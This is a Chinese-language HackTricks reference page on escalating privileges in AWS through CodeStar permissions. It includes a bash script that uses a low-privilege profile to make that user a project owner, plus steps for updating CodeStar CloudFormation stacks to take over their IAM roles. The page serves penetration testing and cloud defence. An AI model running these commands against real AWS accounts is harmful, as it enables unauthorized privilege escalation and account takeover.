AWS - Codestar Privesc

支持 HackTricks

Codestar

您可以在以下位置找到有关 codestar 的更多信息:

iam:PassRole, codestar:CreateProject

通过这些权限,您可以 滥用 codestar IAM 角色 通过 cloudformation 模板 执行 任意操作。请查看以下页面:

codestar:CreateProject, codestar:AssociateTeamMember

此技术使用 codestar:CreateProject 创建一个 codestar 项目,并使用 codestar:AssociateTeamMember 将 IAM 用户设为新 CodeStar 项目所有者,这将授予他们 一个带有额外权限的新策略

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

如果您已经是项目的成员,您可以使用权限**codestar:UpdateTeamMember您的角色**更新为所有者,而不是codestar:AssociateTeamMember

潜在影响: 提升到生成的codestar策略。您可以在以下位置找到该策略的示例:

codestar:CreateProjectFromTemplate

  1. 创建新项目:

  • 利用**codestar:CreateProjectFromTemplate**操作启动新项目的创建。

  • 成功创建后,自动授予**cloudformation:UpdateStack**的访问权限。

  • 此访问权限专门针对与CodeStarWorker-<generic project name>-CloudFormation IAM角色相关联的堆栈。

  1. 更新目标堆栈:

  • 使用授予的CloudFormation权限,继续更新指定的堆栈。

  • 堆栈的名称通常符合以下两种模式之一:

  • awscodestar-<generic project name>-infrastructure

  • awscodestar-<generic project name>-lambda

  • 确切名称取决于所选模板(参考示例利用脚本)。

  1. 访问和权限:

  • 更新后,您将获得与堆栈关联的CloudFormation IAM角色分配的能力。

  • 注意:这并不自动提供完全的管理员权限。可能需要环境中其他配置错误的资源来进一步提升权限。

有关更多信息,请查看原始研究:https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/。 您可以在https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py找到利用代码。

潜在影响: 提升到cloudformation IAM角色。

支持HackTricks

Last updated